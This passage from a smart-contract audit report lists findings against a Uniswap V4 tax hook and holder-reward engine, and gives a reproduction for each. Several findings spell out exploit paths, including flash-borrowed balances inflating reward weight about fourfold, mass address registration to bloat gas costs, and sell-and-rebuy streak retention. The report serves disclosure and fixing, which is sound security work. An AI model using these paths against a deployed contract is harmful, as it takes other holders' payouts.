The claims == holdersOwed + teamOwed invariant still holds, so the ledger is consistent, but the stated economics (2.4% of a buy, 5.6% of a sell) are not: with a tight price limit a 1000 IMD offer that fills a sliver pays the full 24 IMD, and an exact-out sell asking for more IMD than the pool holds pays 5.6%/94.4% of the ask while receiving only what the pool has; had the pool held less than the fee the seller's IMD delta would have gone negative.

The two unspecified cases (exact-out buy, exact-in sell) are unaffected because their fee is computed in afterSwap from delta.amount0(). This is reachable by ordinary users through any router that allows partial fills, and is most likely exactly at the ends of the single range. Two specialists reported it; merged as medium.

Fixing it within the existing economics means computing the fee for all four cases in afterSwap from the executed IMD amount, returning it as the hook delta on the specified side; the rates and split are unchanged.
State: launched and seeded pool, past the init block and the launch-cap window.

Buy case: alice holds 1000 IMD and swaps zeroForOne, amountSpecified = -1000e18, sqrtPriceLimitX96 = spot - spot/20000.

Expected: tax within 5% of 2.4% of the IMD that actually traded.

Actual (test/scratch/PartialFillTax.t.sol, failing on this code): hook.totalTaxed() grew by 24000000000000000000 while only 3113002299885281 wei of IMD traded.

Sell case: after a 100 IMD buy the pool holds about 97 IMD; bob holds PIMD and swaps oneForZero, amountSpecified = +1000e18, limit MAX_SQRT_PRICE - 1.

Expected: tax within 5% of 5.6% of the IMD the pool paid out.

Actual: tax 59322033898305084745 wei against about 96.4 IMD paid out, 5.6% of which would be 5397279999999999999 wei.
lowflush is all-or-nothing across engine, team and tipper, so IMD refusing the fixed team wallet strands the holders' slice at the hooksrc/pimd/PimdHook.sol:389
The engine deliberately survives one refused IMD recipient (gas-capped _send, failure logged, share back to the pot). The hook does not: unlockCallback burns claims and take()s to the engine, the team wallet and the caller in one unlock, and take() does a plain ERC-20 transfer, so a revert on any one leg reverts the whole flush and holdersOwed and teamOwed are restored. TEAM_WALLET and ENGINE_ADDRESS are source constants with no setter.

IMD is a third party's token whose owner powers the engine's own comments call unknown; if it ever refuses transfers to the team wallet, every flush from every caller reverts, holdersOwed grows forever as claims the hook can never burn, and fire() swallows the failure (next finding) and keeps dripping only from an unfed pot. The tipper leg is harmless because the caller picks themself. Three specialists reported it; merged as low because it needs IMD to refuse a fixed address.

A fix that keeps the split: pay the holders' and team's legs independently, or make the team leg best-effort and leave teamOwed in place on failure, so the holders' path never depends on the team address being transferable.
State: launched pool, one 100 IMD buy so holdersOwed = 1.8 IMD and teamOwed = 0.6 IMD; vm.mockCallRevert(imd, abi.encodeWithSignature('transfer(address,uint256)', team), 'blacklisted') stands in for IMD refusing the team wallet.

Input: keeper calls hook.flush().

Expected: the holders' 1.8 IMD reaches the engine.

Actual (test/scratch/Leads.t.sol::test_flush_is_all_or_nothing, passing as a demonstration): flush reverts, hook.holdersOwed() stays 1.8e18; two days later engine.fire() succeeds with imd.balanceOf(engine) == 0, pot == 0, holdersOwed unchanged, and exactly one engine event (Fired) emitted.
lowfire()'s empty catch around hook.flush() is safe for funds but hides every pull failure, and still tips the keepersrc/pimd/PimdEngine.sol:247
Assessment of the pattern, as the brief asks. It is safe against value extraction: flush() is nonReentrant and its take() path makes no callback into the engine; fire() is nonReentrant and _requireLocked; the engine's ledger is only updated by _book() from the real IMD balance, so a failed or partial pull can never be booked as income; and the 63/64 gas trick is not practical because the work fire() still has to do after flush() needs far less gas than flush() itself.

It is not safe operationally, which is exactly how it already masked one breakage: the catch is empty, so a flush that reverts on every epoch (a hook whose ENGINE_ADDRESS is a different engine, IMD refusing the team wallet, a wrong quote) is indistinguishable on chain from a quiet market; fire() proceeds, lastFire advances, the drip is computed from a pot that never grows, and the keeper's fireTip is still paid from that pot for an epoch whose income never arrived.

Two edges besides: hook.holdersOwed() on the line above sits outside the try, so a hook whose view reverted would block fire() entirely (the opposite of the stated intent; not reachable with this hook), and Solidity does not route return-data decoding failures of flush() into the catch, so a hook returning malformed data would also revert fire(). Four specialists reported this; merged as low.

Minimal fix without changing behaviour: catch (bytes memory reason) and emit an event carrying it and the pending amount, and decide deliberately whether fireTip should be paid when the pull failed.
State: launched pool, alice bought 200 IMD so hook.holdersOwed() > 0, alice registered two days ago, pot seeded with 10 IMD; vm.mockCallRevert(hook, PimdHook.flush.selector, 'broken') stands in for any deterministic revert.

Input: keeper calls engine.fire().

Expected: a revert or an on-chain signal that income could not be pulled.

Actual (test/scratch/Leads.t.sol::test_fire_hides_a_broken_flush_and_still_tips, passing as a demonstration): fire() succeeds, hook.holdersOwed() is unchanged, phase == Tally, imd.balanceOf(keeper) == fireTip (0.02 IMD), and the engine emitted exactly one event (Fired), no failure event.
lowThe unlock guard only sees the Uniswap V4 PoolManager; a PIMD balance borrowed from any other lender is tallied as weightsrc/pimd/PimdEngine.sol:426
fire, tally and pay refuse to run while the PoolManager's transient unlock flag is set, which closes the V4 flash path the design notes name, and the three existing tests confirm it from inside a real unlock. The comment 'Outside an unlock the borrow cannot exist' is not true in general: PIMD is a plain ERC-20, and a V3 pool with flash(), an ERC-3156 lender or a money market listing PIMD never touches the PoolManager's lock.

A registered holder that is a contract can borrow inside such a callback, call tally(), and repay. The size blend dampens but does not neutralise it: with lastBal = 3.5M and 38.7M borrowed, a 15-day holder's blended age falls to about 1.24 days (tier 1x), so the weight is 42.2M instead of the honest 10.5M (3.5M x 3x), a 4x boost paid out of the other holders' share of that epoch.

The borrower's own streak resets at the next tally (bal < last), so this is one epoch per address, repeatable by rotating addresses. Precondition not present in this tree: a third-party PIMD lender with a large bag, which is why this is low. The guard is correct for what it covers; the finding is that the engine's safety claim rests on an assumption about the whole chain, not about the PoolManager.

Mitigations that keep the economics overlap with the paging finding: weigh on min(bal, lastBal) with increases counted from the next epoch, or snapshot balances one block earlier.
State: engine bound and pot funded (100 IMD); lender contract L holds 38,700,000 PIMD; alice and contract holder B hold 3,500,000 PIMD each, both registered 15 days ago; fire() called so phase == Tally.

Input: B calls L.flash(B, 38.7M, cb) where cb runs engine.tally(100) and then repays.

Expected: tally refuses or ignores the borrowed balance; B's weight == 3.5M x 3 = 10.5M.

Actual (test/scratch/Leads.t.sol::test_lender_outside_v4_is_tallied_as_weight, passing as a demonstration): tally completes inside the callback, holderInfo(B).lastBal == 42,200,000e18, totalWeight - aliceWeight == 42.2M against alice's 10.5M, and pay(100) sends B 50015347226027093464 wei against alice's 12444328101262665435 wei for an equal honest bag.
lowA sell followed by a re-buy to at least lastBal before the next tally keeps the full hold streak, contrary to the documented rulesrc/pimd/PimdEngine.sol:285
The streak is maintained from balance snapshots taken at tally time, not from transfers. The restart fires only when the balance at this tally is below the balance at the previous one. A holder who sells (or sends out) any amount and restores at least the same token count before the next tally is seen as bal >= last: if exactly equal nothing changes, if slightly above the blend touches only the difference.

The README and the engine's NatSpec promise 'selling or sending tokens out restarts your streak'; the engine cannot see a round trip that completes between two tallies, and the window is the keeper cadence (15 minutes by policy, unbounded if the keeper is down).

The round trip costs the 5.6% and 2.4% taxes plus pool fees, so it is not a farming move, but a 14-day 3x holder can take profit at a local top and re-enter without losing the tier, which is the behaviour the streak was designed to penalise. Two specialists reported it; merged as low.

No code fix is proposed because the stronger rule needs per-transfer tracking the token deliberately omits; the finding is that the documented guarantee and the enforced one differ, and the documents should state the enforced one.
State: alice bought 100 IMD of PIMD (bag), registered, 15 days pass, an epoch runs; holderInfo(alice).tierBps == 30000 and lastBal == bag.

Input: alice sells 90% of the bag exact-in, then buys back exact-out so that balanceOf(alice) == bag again; 3 minutes later fire/tally/pay run.

Expected per the documented rule: tier 0 (clock restarted by the sale).

Actual (test/scratch/Leads.t.sol::test_sell_and_rebuy_keeps_the_streak, passing as a demonstration): holderInfo(alice).tierBps == 30000 after the second epoch; the tally saw bal == last and kept streakStart.
lowbind() does not check that the hook pays this engine, in this IMD, on this PoolManagersrc/pimd/PimdEngine.sol:181
The hook's payout target is the compile-time constant ENGINE_ADDRESS and its quote is whatever currency0 the pool opened with. bind() accepts any non-zero hook address and verifies none of hook.engine() == address(this), hook.quote() == imd, hook.poolManager() == poolManager or hook.launched().

The deploy script prints the engine address and relies on a human to write it into the hook source before the launch request goes out; if the bound engine is not the one baked into the hook, the engine binds fine, fires fine, and never receives income: flush moves the holders' slice to the constant address and the bound engine receives only the flush callerTip paid to it as msg.sender.

Combined with the empty catch in fire(), nothing reverts and nothing is logged, which matches the breakage the brief says was already hidden once. A PoolManager mismatch would additionally make _requireLocked read the wrong contract's lock and silently disable the flash guard.

Fix: have bind() read the hook's public engine(), quote() and poolManager() views and revert on mismatch.
State: launched protocol whose hook's engine() returns E1 (the bound engine).

Input: deploy a second engine E2 with the same config and call E2.bind(token, hook); alice buys 100 IMD (holdersOwed = 1.8 IMD); 3 minutes later the keeper calls E2.fire().

Expected: bind reverts because hook.engine() != E2.

Actual (test/scratch/Leads.t.sol::test_bind_accepts_a_hook_that_pays_another_engine, passing as a demonstration): bind succeeds, E2.fire() succeeds, hook.holdersOwed() == 0, imd.balanceOf(E1) == 1.8e18, and 0 < E2.pot() <= callerTip (0.01 IMD): E2 looks alive while receiving no holder income.
lowregister() lets one minBalance bag register unlimited addresses, growing every epoch's tally and pay costsrc/pimd/PimdEngine.sol:209
register() checks only that the address holds minBalance at the instant of the call; the balance does not have to stay, there is no caller restriction or bond, and it is the one state-changing entry without _requireLocked(), so PIMD taken from the PoolManager inside an unlock would also do. One bag of exactly minBalance (100,000 PIMD, 0.01% of supply) transferred through N fresh addresses registers each.

Every registered address is then visited by tally (balanceOf call plus storage writes) and pay (storage read) in every epoch until someone pays to prune it, and prune() is a separate paid step after which the same bag re-registers for the price of gas. The keeper tip budget (5% of each drip) does not scale with holder count. Griefing only, bounded by the griefer's gas, hence low.

The same openness means any contract holding PIMD that is not a V2-style pair (a treasury, a vesting contract, the factory) can be registered by anyone and pushed IMD it may never be able to move; that is a launch-policy question recorded here for the requester. Mitigations that keep the economics: self-registration only (msg.sender == account) plus _requireLocked on register, and/or letting tally drop entries below minBalance.
State: launched pool, alice registered; a griefer holds exactly minBalance (100,000e18) PIMD.

Input: 50 times, transfer the bag to a fresh address and call engine.register([that address]).

Expected: registration is bounded by real holdings.

Actual (test/scratch/Leads.t.sol::test_register_bloat_with_one_bag, passing as a demonstration): holderCount() == 51 while token.balanceOf(last address) == minBalance is the only bag that ever existed; the next epoch's tally(100) costs 833031 gas against about 20k for the one real holder.
lowfire() pays fireTip from the pot even when no epoch opens because nobody is registeredsrc/pimd/PimdEngine.sol:268
tipBudget is set to 5% of the computed drip before the drip != 0 && n != 0 check, and _tip(fireTip) runs unconditionally after it. While holders.length == 0 (before anyone registers) the pot is not released and lastFire still advances, so the slice is deferred rather than lost, but the caller is paid fireTip out of the pot for a no-op, and can repeat it every minInterval until registration happens.

Bounded by min(fireTip, 5% of the would-be drip) per call, so a small leak of holders' money rather than a drain; the comment 'tips never exceed 5% of an epoch's drip' assumes an epoch. Two specialists reported it (info and low); merged as low. If intended, document it; otherwise set tipBudget only when an epoch actually opens.
State: bound engine, holderCount() == 0, pot seeded with 100 IMD, fireTip = 0.02 IMD, dripBps = 400.

Input: keeper calls fire() 2 minutes after bind, then again 2 minutes later.

Expected: nothing to do, nothing paid.

Actual (test/scratch/Leads.t.sol::test_fire_tip_is_paid_with_no_holders, passing as a demonstration): phase stays Idle, no epoch opens, imd.balanceOf(keeper) == 0.02e18 after the first call and more after the second, pot == 100e18 - 0.02e18 after the first call.
info_INSWAP_SLOT is never written, so the early returns in beforeSwap and afterSwap are dead codesrc/pimd/PimdHook.sol:244
The inswap transient flag was the guard for the removed v1 burn self-swap. No code path calls _tstore(_INSWAP_SLOT, ...) any more, so the checks at lines 244 and 265 can never be true and the fee is always taken. Not exploitable; it is audit surface that reads as an untaxed swap path (and, because afterSwap also returns early, a launch-cap bypass) waiting for a future change to arm it.

Hooks.noSelfCall would skip the hook on a self-swap anyway, and the hook never calls swap, modifyLiquidity or initialize on the PoolManager, so the self-call exemption cannot be used to bypass beforeInitialize, beforeAddLiquidity or beforeRemoveLiquidity. Four specialists reported it; merged. Remove the constant and both branches, or pin them unreachable with a test.
grep -n _INSWAP_SLOT src/pimd/PimdHook.sol shows one declaration (line 81) and two _tload reads (lines 244, 265) and no _tstore. For any swap, _tload(_INSWAP_SLOT) == 0, so the branch is never taken; every existing swap test pays the tax.
infoLAUNCH_CAP_MAX_SECONDS can never be the binding bound because launchCapSeconds (600) is already smaller than it (3600)src/pimd/PimdHook.sol:287
The comment describes LAUNCH_CAP_MAX_SECONDS as a fail-open bound on the block-based launch cap in case ArbSys stops answering. The window is the conjunction of three conditions, and the time condition using launchCapSeconds (600 s) always expires before the one using LAUNCH_CAP_MAX_SECONDS (3600 s), so the third conjunct is dead in both afterSwap and inLaunchCapWindow.

Not a vulnerability; it misstates what protects against a stuck cap (launchCapSeconds does), which matters if launchCapSeconds is ever raised above an hour expecting the max to hold.
For any timestamp t: t < launchStart + 600 implies t < launchStart + 3600, so removing the third conjunct changes no evaluation. test/scratch/Leads.t.sol::test_launch_cap_max_is_dead asserts launchCapSeconds() < LAUNCH_CAP_MAX_SECONDS() on the deployed constants.
infoREADME and contract NatSpec describe a different economy from the code (3%/7%, 60/20/20 with a burn, a launcher role)README.md:6
The code taxes 2.4% on buys and 5.6% on sells (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560), splits 75/25 between holders and the team (HOLDERS_BPS = 7_500) with no burn slice, has no launcher role or launch() function, and the engine's NatSpec at PimdEngine.sol line 26 still calls the holders' share 60%. The README also says the token mints to the hook and that the deploy script mines the token's salt and opens the pool, all superseded by the factory launch.

Since this review was briefed on 2.4/5.6/75/25 as the agreed design, the code is taken as correct and the documents as stale; an auditor or user reading them will check the wrong invariants.
Compare README.md lines 6-7 and 28 and src/pimd/PimdHook.sol lines 30-35 with src/pimd/PimdHook.sol lines 57-59 (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560, HOLDERS_BPS = 7_500) and src/pimd/PimdEngine.sol line 26 ('the holders' 60%'). The existing test test_tax_splits_seventy_five_twenty_five passes against the code, not the README.
infototalBurned and circulatingSupply ignore PIMD sent to address(0), which solmate's ERC20 allowssrc/pimd/PimdToken.sol:40
solmate's ERC20.transfer has no zero-address check, so PIMD can be sent to address(0) and is as unspendable as at DEAD, but the site's burn counter and circulatingSupply only count DEAD. The engine already treats both addresses as excluded. Harmless to funds; the published scarcity numbers can understate burns.
Input: a holder calls token.transfer(address(0), 1e18).

Expected: totalBurned() includes it.

Actual (test/scratch/Leads.t.sol::test_total_burned_ignores_address_zero, passing as a demonstration): balanceOf(address(0)) == 1e18 and totalBurned() is unchanged.
infoThe tax applies only to this pool: a second PIMD pool without the hook trades untaxedsrc/pimd/PimdHook.sol:30
PimdToken is a plain ERC-20 with no transfer tax and PoolManager.initialize is permissionless, so anyone can open PIMD/IMD (or PIMD/anything) with hooks = address(0) or another hook, add liquidity bought from the taxed pool, and route trades there with no 2.4%/5.6% tax and no contribution to holders.

The engine excludes the PoolManager from drips and _isPool() filters V2-style pairs, so such a pool does not farm the pot, but the 'every trade pays a tax' guarantee holds only for this one pool. Recorded as a design limitation of a hook-based tax on a free token, not as a change request.
Input: manager.initialize(PoolKey{currency0: IMD, currency1: PIMD, fee: 3000, tickSpacing: 60, hooks: IHooks(address(0))}, anyPrice); add liquidity; swap.

Expected per the header: the trade is taxed.

Actual: no beforeSwap/afterSwap runs for that pool and PimdHook.totalTaxed() is unchanged; by construction, since the PoolManager only calls the hook named in the key.
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